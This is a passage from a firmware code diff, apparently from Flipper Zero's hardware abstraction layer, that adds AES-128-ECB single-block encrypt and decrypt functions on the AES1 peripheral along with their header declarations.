crypto_key_init_ecb128(key);
MODIFY_REG(AES1->CR, AES_CR_MODE, CRYPTO_MODE_ENCRYPT);
SET_BIT(AES1->CR, AES_CR_EN);
bool state = crypto_process_block((uint32_t*)input, (uint32_t*)output, 4);
CLEAR_BIT(AES1->CR, AES_CR_EN);
furi_hal_bus_disable(FuriHalBusAES1);
furi_check(furi_mutex_release(furi_hal_crypto_mutex) == FuriStatusOk);
return state;
}
bool furi_hal_crypto_aes128_ecb_decrypt(
const uint8_t* key,
const uint8_t* input,
uint8_t* output) {
furi_check(furi_hal_crypto_mutex);
furi_check(furi_mutex_acquire(furi_hal_crypto_mutex, FuriWaitForever) == FuriStatusOk);
furi_hal_bus_enable(FuriHalBusAES1);
crypto_key_init_ecb128(key);
MODIFY_REG(AES1->CR, AES_CR_MODE, CRYPTO_MODE_DECRYPT_INIT);
SET_BIT(AES1->CR, AES_CR_EN);
if(!furi_hal_crypto_wait_flag(AES_SR_CCF)) {
CLEAR_BIT(AES1->CR, AES_CR_EN);
furi_hal_bus_disable(FuriHalBusAES1);
furi_check(furi_mutex_release(furi_hal_crypto_mutex) == FuriStatusOk);
return false;
}
SET_BIT(AES1->CR, AES_CR_CCFC);
MODIFY_REG(AES1->CR, AES_CR_MODE, CRYPTO_MODE_DECRYPT);
SET_BIT(AES1->CR, AES_CR_EN);
bool state = crypto_process_block((uint32_t*)input, (uint32_t*)output, 4);
CLEAR_BIT(AES1->CR, AES_CR_EN);
furi_hal_bus_disable(FuriHalBusAES1);
furi_check(furi_mutex_release(furi_hal_crypto_mutex) == FuriStatusOk);
return state;
}

View File

@@ -290,6 +290,32 @@ FuriHalCryptoGCMState furi_hal_crypto_gcm_decrypt_and_verify(
size_t length, size_t length,
const uint8_t* tag); const uint8_t* tag);
/** Encrypt a single 16-byte block using AES-128-ECB
*
* @param[in] key pointer to 16 bytes key data
* @param[in] input pointer to 16 bytes input data
* @param[out] output pointer to 16 bytes output data
*
* @return true on success
*/
bool furi_hal_crypto_aes128_ecb_encrypt(
const uint8_t* key,
const uint8_t* input,
uint8_t* output);
/** Decrypt a single 16-byte block using AES-128-ECB
*
* @param[in] key pointer to 16 bytes key data
* @param[in] input pointer to 16 bytes input data
* @param[out] output pointer to 16 bytes output data
*
* @return true on success
*/
bool furi_hal_crypto_aes128_ecb_decrypt(
const uint8_t* key,
const uint8_t* input,
uint8_t* output);
#ifdef __cplusplus #ifdef __cplusplus
} }
#endif #endif